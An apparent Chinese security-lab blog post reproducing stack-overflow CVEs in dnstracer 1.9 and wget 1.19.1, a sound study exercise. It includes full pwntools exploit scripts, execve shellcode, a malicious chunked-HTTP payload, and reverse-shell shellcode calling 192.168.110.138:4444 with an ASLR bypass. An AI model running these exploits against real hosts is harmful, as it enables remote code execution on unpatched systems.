從CVE復現看棧溢位漏洞利用

合天网安实验室發表於2024-04-12

最近復現了兩個棧溢位漏洞的cve,分別是CVE-2017-9430和CVE-2017-13089,簡單記錄一下real wrold中的棧溢位漏洞學習。目前,棧溢位漏洞主要出現在iot韌體中,linux下的已經很少了,所以這兩個洞都是17年,比較早,但還是能學到一些東西。

CVE-2017-9430

1.漏洞描述

dnstracer 1.9 及之前版本中基於堆疊的緩衝區溢位允許攻擊者透過命令列造成拒絕服務(應用程式崩潰),或者可能透過命令列造成未指定的其他影響。

2.環境搭建

編譯安裝DNSTracer 1.9

wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
tar zxvf dnstracer-1.9.tar.gz
cd dnstracer-1.9
./confugure
​
make && sudo make install

在make前,修改Makefile

CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -no-pie -m32

編譯好後,關閉ASLR

sudo echo 0 > /proc/sys/kernel/randomize_va_space
或者
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

3.漏洞成因

Untitled

程式在處理命令列引數時,呼叫strcpy函式對argv[0]進行處理時,由於處理不當,導致了棧溢位漏洞。

4.漏洞利用

這裡在進行利用時,關閉了ASLR、PIE、Canary、RELRO、NX等緩解機制。

由於strcpy未對引數長度進行檢查,這裡導致的棧溢位漏洞可以溢位足夠的字元長度,並且關閉了各種緩解機制,所以我們透過返回到shellcode的方式獲取shell。但在復現的過程中,發現一個有趣的地方。如果我直接溢位到返回地址,並不能完成預想的get shell。回到彙編

Untitled

發現了問題,這裡在ret之前,棧指標變了,是由ecx的值決定的,而ecx是從棧pop出來的。分析這段彙編程式碼發現,如果正常情況下,最後esp的位置和直接返回的沒有這段處理程式碼的位置相同,但由於由這段程式碼,就導致不能直接覆蓋到返回地址,否則會在執行倒數第二條彙編指令時觸發非法地址。

所以,這裡不能直接覆蓋到返回地址,而是要透過佈置棧中資料控制ecx,從而將ecx-4處的地址賦給esp,使esp指向存有shellcode地址的位置,這樣就可以正常完成get shell了。

記憶體佈局如下圖

Untitled

exp如下:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
​
context(os = 'linux', arch = 'amd64', log_level = 'info')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']
​
elf = './dnstracer-1.9/dnstracer'
# elf = ELF('./simpleinterpreter')
​
#-----------------------------------------------------------------------------------------
rv = lambda x            : p.recv(x)
rl = lambda a=False      : p.recvline(a)
ru = lambda a,b=True     : p.recvuntil(a,b)
rn = lambda x            : p.recvn(x)
sn = lambda x            : p.send(x)
sl = lambda x            : p.sendline(x)
sa = lambda a,b          : p.sendafter(a,b)
sla = lambda a,b         : p.sendlineafter(a,b)
u32 = lambda             : u32(p.recv(4).ljust(4,b'\x00'))
u64 = lambda             : u64(p.recv(6).ljust(8,b'\x00'))
inter = lambda           : p.interactive()
debug = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr       : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
#-----------------------------------------------------------------------------------------
​
if __name__ == "__main__":
​
        filling = "\x90"*(1050-32-32-1-0x300)
    filling += "\x4c\xcd\xff\xff"     # ShellcodeAddress
    filling += "\x90"*0x300       # 0xffffcd4c
    filling += "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"+"aa"
    filling += "bbbb"*4
    filling += "\x4c\xcd\xff\xff" # ecx   esp=[ecx-4]
​
    payload = filling
    p = gdb.debug([elf, payload],"b *0x0804969E")
    inter()
​

5.坑點

在復現的時候還有一些坑點,我暫時也不知道原因。

①第一點就是這個在返回前對esp進行處理的彙編,我不知道為什麼我編譯出來的程式會有這一段,在網上看其他師傅復現的文件,都沒有遇到這個問題,疑惑ing。

②第二點是我在復現的時候,明明已經關閉了ASLR了,按理說每次除錯的時候,棧地址應該不會變才對,但事實上,我當天的地址是固定的,但隔天可能就會有0x10的偏移,很詭異,這就導致exp無法穩定攻擊,為此只能在shellcode前面加很多的nop,讓這個地址即使發生了偏移也能完成利用。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

CVE-2017-13089

1.漏洞描述

http.c:skip_short_body() 函式在某些情況下被呼叫,例如在處理重定向時,在 1.19.2 之前的 wget 中分塊傳送響應時,塊解析器使用 strtol() 讀取每個塊的長度,但不檢查塊長度是否為非負數,然後,程式碼嘗試使用 MIN() 宏跳過 512 位元組的塊,但最終將負塊長度傳遞給 connect.c:fd_read(),由於 fd_read() 採用 int 引數,因此丟棄了塊長度的 32 位高位,使 fd_read() 具有完全由攻擊者控制的長度引數。

2.環境搭建

在ubuntu16.04下搭建會比較穩定。

sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz
cd wget-1.19.1
sudo apt-get remove wget
./configure
make && sudo make install

Untitled

3.漏洞成因

由於使用strtol來讀取每個塊的長度,但沒有進行負數檢查。

Untitled

例如讀入長度為-0xFFFFF000,經過處理得到v22為0xffffffff00001000

Untitled

後面有3次對長度的校驗,但都只進行了上限校驗,未進行下限校驗,由於v22是int,且符號位為1,都滿足校驗條件,最終將長度傳入函式fd_read。

Untitled

由於fd_read()函式的長度引數即a3為無符號數,就使得讀取的長度由使用者可控,造成了棧溢位。

4.漏洞利用

這裡在進行利用時,我們首先關閉ASLR、PIE、Canary、RELRO、NX等緩解機制。

根據漏洞成因的分析,我們可以先構造poc,控制讀取的長度為我們利用需要的size,這裡我設定為0x1000,相應poc如下

payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
​
-0xFFFFF000
"""

除錯方式:

image.png

生成poc

python3 exp.py

發包視窗

nc -lp 6666 < poc2             

gdb除錯視窗

gdb wget
b *addr
r localhost:6666

先執行exp,生成poc,然後發包,然後執行wget http://localhost:6666

這個的棧溢位就比前面那個cve的棧溢位正常一點,直接覆蓋返回地址為shellcode的地址就可以了。由於我們這裡關閉了所有緩解機制,就直接在棧中佈置shellcode,獲取shellcode地址,覆蓋到返回地址就ok了。

Untitled

exp如下

from pwn import *
​
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
​
-0xFFFFF000
"""
context(arch='amd64', os='linux')
sc = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh())
#print(sc)
payload = payload.encode()
payload += sc + (560+8-len(sc))*b'\x90' #棧偏移量568
stack = 0x7fffffffd190
payload += p64(stack) #輸入資料起始地址
payload += b"\n0\n"
​
with open('poc2','wb') as f:
    f.write(payload)

但是,如果開了ASLR,怎麼辦呢,我們很自然地會想到jmp reg的方式。

首先看看ret的時候,有沒有暫存器可以用

Untitled

很巧,rsi正好指向我們的shellcode,於是我們就可以去找個jmp rsi的gadget完成ASLR的繞過

直接找gadget比較慢,可以先把所有gadget重定向到txt中,然後在txt中查詢會比較快

ROPgadget --binary=wget > gadget.txt
cat gadget.txt | grep 'jmp rsi'

Untitled

得到繞過ASLR的exp

from pwn import *
​
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
​
-0xFFFFF000
"""
context(arch='amd64', os='linux')
sc = asm(shellcraft.connect('192.168.110.138',4444)+shellcraft.dupsh())
#print(sc)
payload = payload.encode()
payload += sc + (560+8-len(sc))*b'\x90' #棧偏移量568
stack = 0x7fffffffd190
jmp_rsi = 0x0000000000475bcb
#payload += p64(stack) #輸入資料起始地址
payload += p64(jmp_rsi)
payload += b"\n0\n"
​
with open('poc2','wb') as f:
    f.write(payload)

Untitled

可以看到,成功繞過了ASLR緩解機制,執行shellcode

Untitled

5.坑點

在復現的過程中,我發現在關閉ASLR時,我透過第一種方式攻擊,必須在gdb中執行才能成功,如下圖

Untitled

直接在命令列中執行wget http://localhost:6666會崩潰

Untitled

但繞過ASLR的exp就可以直接執行,我懷疑是沒有把ASLR完全關閉,但檢視ASLR的值確實都是0,不知道為啥會這樣。

小總結

在對這兩個cve的復現中,對棧溢位漏洞的ret2shellcode和jmp reg兩種利用方式進行了複習,遇到了一點比較有意思的東西,比如第一個cve中ret前對esp的改變。不論是在ctf中還是realworld,程式的利用最終一定是基於對程式彙編的理解,遇到問題,迴歸本源。

更多網安技能的線上實操練習,請點選這裡>>

相關文章